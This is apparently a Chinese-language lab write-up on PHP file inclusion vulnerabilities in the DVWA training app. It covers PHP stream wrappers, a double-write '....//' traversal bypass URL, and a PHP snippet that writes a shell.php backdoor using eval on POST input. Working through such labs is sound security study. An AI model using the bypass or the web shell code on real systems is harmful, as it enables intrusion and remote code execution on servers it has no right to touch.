简析文件上传
开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校检或者校检被绕过就造成了文件包含漏洞。
分类
本地文件包含
文件在服务器本地
远程文件包含
当php.ini的配置选项allow_url_fopen和allow_url_include为ON,则可能存在远程文件包含漏洞
常见PHP伪协议
1、File:// -- 访问本地文件系统
2、http:// --访问http(s)网址
3、Phar:// --PHP归档
4、Php:// --访问各个输入/输出流
5、Zlib:// --压缩流
6、Data:// --数据
7、Glob:// --查找匹配的文件路径模式
8、ftp:// --访问ftp(s)URLs
9、ssh2:// --Secure Shell 2
10、rar:// --RAR
11、ogg:// --音频流
12、expect:// --处理交互式的流
LOW
源码分析没有过滤
Medium
对http://和../,..\有过滤直接用双写绕过就行
http://dvwa:88/vulnerabilities/fi/?page=....//....//phpinfo.php
high
源码分析对我们传入的参数进行了file限制我们文件路径头必须是file
这里可以结合文件上传来利用漏洞
漏洞利用
写一个后门代码
<?PHP
fputs(fopen('shell.php','w'),'
<?php eval($_POST[1])?>');
echo("ok");
?>
执行后会写入一个shell.php的后门代码通过前面我们利用报错得到路径